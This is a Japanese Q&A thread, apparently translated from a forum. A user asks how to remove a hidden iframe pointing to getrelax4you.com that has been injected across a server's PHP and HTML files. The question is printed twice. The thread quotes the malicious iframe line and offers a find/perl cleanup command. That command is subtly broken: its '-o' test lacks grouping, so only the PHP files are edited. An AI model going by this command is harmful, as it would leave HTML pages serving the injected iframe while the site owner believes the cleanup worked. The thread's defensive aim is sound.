次の行が、私の Linux サーバー上のほぼすべての php ファイルと一部の html ファイルに追加されています。他に損傷を与えることなくこれを削除するコマンドは何ですか?
iframe qoluu='V5pEXGSm' src=' http://getrelax4you.com/in.cgi?7 ' width='98' height='407' style='display:none'>
上記の行の最初と最後に < > があります
コマンドはすべてのフォルダを検索しますか?
次の行が、私の Linux サーバー上のほぼすべての php ファイルと一部の html ファイルに追加されています。他に損傷を与えることなくこれを削除するコマンドは何ですか?
iframe qoluu='V5pEXGSm' src=' http://getrelax4you.com/in.cgi?7 ' width='98' height='407' style='display:none'>
上記の行の最初と最後に < > があります
コマンドはすべてのフォルダを検索しますか?
サーバーが侵害されました。ソース コード リポジトリからサイト ファイルをクリーンなサーバーに復元するだけです。
ユーザーデータを修正するのはもっと難しいかもしれません。データベースの内容を信頼できなくなるので、細心の注意を払う必要があります。次回は頑張ってください。
すべてのウイルス コードが 1 行にあると仮定した単純化されたソリューション:
find /www/directory -name '*.html' -o -name '*.php' -exec perl -i -ne 'print unless /getrelax4you\.com/' '{}' \;
簡単な説明: /www/directory 以下のすべてのファイルにアクセスし、拡張子は html または php です。perl を使用して、文字列 "getrelax4you.com" が含まれていない限り、すべての行を逐語的に出力にコピーして、各ファイルをその場で編集します。削除されます。
買い手責任負担!これを試す前にバックアップを作成してください。私はいくつかの小さな詳細を見逃したかもしれません。